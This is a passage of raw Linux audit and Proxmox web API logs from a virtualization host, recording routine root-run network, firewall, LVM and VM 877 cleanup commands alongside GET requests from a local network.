a3=b items=2 ppid=1156 pid=57634 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207436,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966207.436:68911): arch=c000003e syscall=59 success=yes exit=0 a0=5d4f9f690eb0 a1=5d4f9f9f70a0 a2=5d4f9f68c680 a3=5 items=2 ppid=66172 pid=66176 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965523908,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 516"} {"@timestamp":1781964604917,"@rawstring":"node=pve type=EXECVE msg=audit(1781964604.917:61724): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965739132,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965739.132:66900): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64255 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207477,"@rawstring":"node=pve type=EXECVE msg=audit(1781966207.477:68920): argc=6 a0=\"/usr/bin/perl\" a1=\"/usr/sbin/qm\" a2=\"cleanup\" a3=\"877\" a4=\"1\" a5=\"0\""} {"@timestamp":1781965053504,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.504:63878): arch=c000003e syscall=59 success=no exit=-2 a0=7ffdfadb4340 a1=620c177f5ba0 a2=620c17225c10 a3=b items=1 ppid=61227 pid=61323 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=7461736B20555049443A7076653A30 exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964363691,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:03 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781964205512,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964205.512:60020): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e22d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57633 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207431,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966207.431:68910): arch=c000003e syscall=59 success=yes exit=0 a0=5d4f9f6aeea0 a1=5d4f9f6ce3b0 a2=5d4f9f68c680 a3=5 items=2 ppid=66172 pid=66174 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965523908,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:22 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964604888,"@rawstring":"node=pve type=EXECVE msg=audit(1781964604.888:61723): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965739132,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965739.132:66899): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64255 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207473,"@rawstring":"node=pve type=EXECVE msg=audit(1781966207.473:68919): argc=4 a0=\"/bin/sh\" a1=\"-e\" a2=\"/usr/lib/open-iscsi/net-interface-handler\" a3=\"stop\""} {"@timestamp":1781965053104,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.104:63841): arch=c000003e syscall=59 success=no exit=-2 a0=57c8b2e4dbc0 a1=57c8b5254050 a2=57c8af576680 a3=b items=1 ppid=61255 pid=61267 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"pve-bridge\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964363691,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:02 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781964204098,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964204.098:60019): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ae140 a1=64f8d73dac00 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57630 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207237,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966207.237:68909): arch=c000003e syscall=59 success=yes exit=0 a0=5ae35df7178c a1=7fff84ef55e0 a2=7fff84ef5a40 a3=7fff84ef54b0 items=3 ppid=61458 pid=66172 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"pve-bridgedown\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965522794,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:22 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781964604841,"@rawstring":"node=pve type=EXECVE msg=audit(1781964604.841:61720): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"nullok\""} {"@timestamp":1781965739124,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965739.124:66897): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64254 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207461,"@rawstring":"node=pve type=EXECVE msg=audit(1781966207.461:68917): argc=4 a0=\"/bin/sh\" a1=\"-e\" a2=\"/usr/lib/open-iscsi/net-interface-handler\" a3=\"stop\""} {"@timestamp":1781965053098,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.098:63840): arch=c000003e syscall=59 success=no exit=-2 a0=57c8b29b83b0 a1=57c8b5254050 a2=57c8af576680 a3=b items=1 ppid=61255 pid=61266 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"pve-bridge\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964360699,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:59 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781964204063,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964204.063:60018): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73bd690 a1=64f8d73ee5b0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57629 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207245,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966207.245:68908): arch=c000003e syscall=280 success=yes exit=0 a0=12 a1=7d8b6df1222b a2=0 a3=1000 items=1 ppid=442 pid=66170 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"(udev-worker)\" exe=\"/usr/bin/udevadm\" subj=unconfined key=\"T1070.006_time_change\""} {"@timestamp":1781965522794,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781964604800,"@rawstring":"node=pve type=EXECVE msg=audit(1781964604.800:61718): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"nullok\""} {"@timestamp":1781965739124,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965739.124:66896): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64254 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207449,"@rawstring":"node=pve type=EXECVE msg=audit(1781966207.449:68916): argc=5 a0=\"/sbin/ip\" a1=\"link\" a2=\"delete\" a3=\"dev\" a4=\"fwbr877i0\""} {"@timestamp":1781965051620,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965051.620:63819): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61234 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964360699,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:59 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 841"} {"@timestamp":1781964203298,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964203.298:60017): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57628 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207242,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966207.242:68907): arch=c000003e syscall=280 success=yes exit=0 a0=12 a1=7d8b6df1222b a2=0 a3=1000 items=1 ppid=442 pid=66170 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"(udev-worker)\" exe=\"/usr/bin/udevadm\" subj=unconfined key=\"T1070.006_time_change\""} {"@timestamp":1781965522794,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:21 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 923"} {"@timestamp":1781964601026,"@rawstring":"node=pve type=EXECVE msg=audit(1781964601.026:61715): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"nullok\""} {"@timestamp":1781965735904,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965735.904:66892): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc0a0c6d10 a1=627cf3867310 a2=627cf3860680 a3=5 items=1 ppid=64247 pid=64248 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207446,"@rawstring":"node=pve type=EXECVE msg=audit(1781966207.446:68915): argc=4 a0=\"/bin/sh\" a1=\"-e\" a2=\"/usr/lib/open-iscsi/net-interface-handler\" a3=\"stop\""} {"@timestamp":1781965051620,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965051.620:63818): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61234 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964359590,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:58 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 470"} {"@timestamp":1781964203287,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964203.287:60014): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57627 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207240,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966207.240:68906): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b17ead70 a1=5b65b18ae0a0 a2=5b65b18b63a0 a3=0 items=3 ppid=66170 pid=66173 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vdev_id\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965521777,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:21 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1110"} {"@timestamp":1781964600970,"@rawstring":"node=pve type=EXECVE msg=audit(1781964600.970:61713): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"nullok\""} {"@timestamp":1781965735803,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965735.803:66874): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc3a88d220 a1=57493f86c200 a2=57493f84a680 a3=5 items=1 ppid=64228 pid=64229 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207442,"@rawstring":"node=pve type=EXECVE msg=audit(1781966207.442:68913): argc=4 a0=\"/bin/sh\" a1=\"-e\" a2=\"/usr/lib/open-iscsi/net-interface-handler\" a3=\"stop\""} {"@timestamp":1781965051614,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965051.614:63816): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61232 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964355762,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:55 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781964198276,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964198.276:60011): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57626 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207232,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966207.232:68905): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b17ead70 a1=5b65b18481e0 a2=5b65b1883b00 a3=0 items=2 ppid=66170 pid=66171 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"dmsetup\" exe=\"/usr/sbin/dmsetup\" subj=unconfined key=\"exec\""} {"@timestamp":1781965521777,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:20 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 923"} {"@timestamp":1781964599978,"@rawstring":"node=pve type=EXECVE msg=audit(1781964599.978:61712): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965734114,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965734.114:66864): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64218 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207436,"@rawstring":"node=pve type=EXECVE msg=audit(1781966207.436:68911): argc=5 a0=\"/sbin/ip\" a1=\"link\" a2=\"delete\" a3=\"dev\" a4=\"fwln877i0\""} {"@timestamp":1781965051614,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965051.614:63815): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61232 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964355762,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:54 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 476"} {"@timestamp":1781964198268,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964198.268:60008): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57625 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205799,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966205.799:68904): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66169 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965520559,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:19 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781964599969,"@rawstring":"node=pve type=EXECVE msg=audit(1781964599.969:61709): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965734114,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965734.114:66863): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64218 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207431,"@rawstring":"node=pve type=EXECVE msg=audit(1781966207.431:68910): argc=5 a0=\"/sbin/ip\" a1=\"link\" a2=\"set\" a3=\"tap877i0\" a4=\"nomaster\""} {"@timestamp":1781965051563,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965051.563:63812): arch=c000003e syscall=59 success=no exit=-2 a0=7ffdfadb4320 a1=620c1dc969c0 a2=620c17225c10 a3=b items=1 ppid=61227 pid=61230 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=7461736B20555049443A7076653A30 exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964354736,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:53 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 850"} {"@timestamp":1781964195501,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964195.501:60005): arch=c000003e syscall=59 success=yes exit=0 a0=5dc025ffbd70 a1=5dc026007c00 a2=5dc025fd5680 a3=5 items=2 ppid=57618 pid=57624 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205794,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966205.794:68901): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66168 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965520559,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:19 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964595226,"@rawstring":"node=pve type=EXECVE msg=audit(1781964595.226:61706): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965734108,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965734.108:66861): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64217 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207237,"@rawstring":"node=pve type=EXECVE msg=audit(1781966207.237:68909): argc=3 a0=\"/usr/bin/perl\" a1=\"/usr/libexec/qemu-server/pve-bridgedown\" a2=\"tap877i0\""} {"@timestamp":1781965051555,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965051.555:63810): arch=c000003e syscall=59 success=no exit=-2 a0=7ffdfadb4340 a1=620c1dc89900 a2=620c17225c10 a3=b items=1 ppid=61227 pid=61229 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=7461736B20555049443A7076653A30 exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964351668,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:51 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1077"} {"@timestamp":1781964195497,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964195.497:60004): arch=c000003e syscall=59 success=yes exit=0 a0=5dbff3035ac8 a1=7ffea9856a00 a2=5dc025fd5680 a3=5dbff301924e items=2 ppid=57618 pid=57620 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205782,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966205.782:68898): arch=c000003e syscall=59 success=yes exit=0 a0=611bee841e90 a1=611bee83ec10 a2=611bee820680 a3=5 items=2 ppid=66161 pid=66167 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965520559,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:19 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 927"} {"@timestamp":1781964595222,"@rawstring":"node=pve type=EXECVE msg=audit(1781964595.222:61705): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965734108,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965734.108:66860): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64217 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207240,"@rawstring":"node=pve type=EXECVE msg=audit(1781966207.240:68906): argc=4 a0=\"/bin/sh\" a1=\"/usr/lib/udev/vdev_id\" a2=\"-d\" a3=\"dm-6\""} {"@timestamp":1781965046602,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965046.602:63808): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61221 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964351668,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:50 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 466"} {"@timestamp":1781964195496,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964195.496:60003): arch=c000003e syscall=59 success=yes exit=0 a0=7ffea98569c0 a1=5dc025ff7410 a2=5dc025fd5680 a3=5 items=2 ppid=57618 pid=57619 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205779,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966205.779:68897): arch=c000003e syscall=59 success=yes exit=0 a0=611bbd184ac8 a1=7ffcb5e57ea0 a2=611bee820680 a3=611bbd16824e items=2 ppid=66161 pid=66163 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965519468,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:19 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781964595221,"@rawstring":"node=pve type=EXECVE msg=audit(1781964595.221:61704): argc=1 a0=\"date\""} {"@timestamp":1781965729101,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965729.101:66858): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64216 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207232,"@rawstring":"node=pve type=EXECVE msg=audit(1781966207.232:68905): argc=6 a0=\"/usr/sbin/dmsetup\" 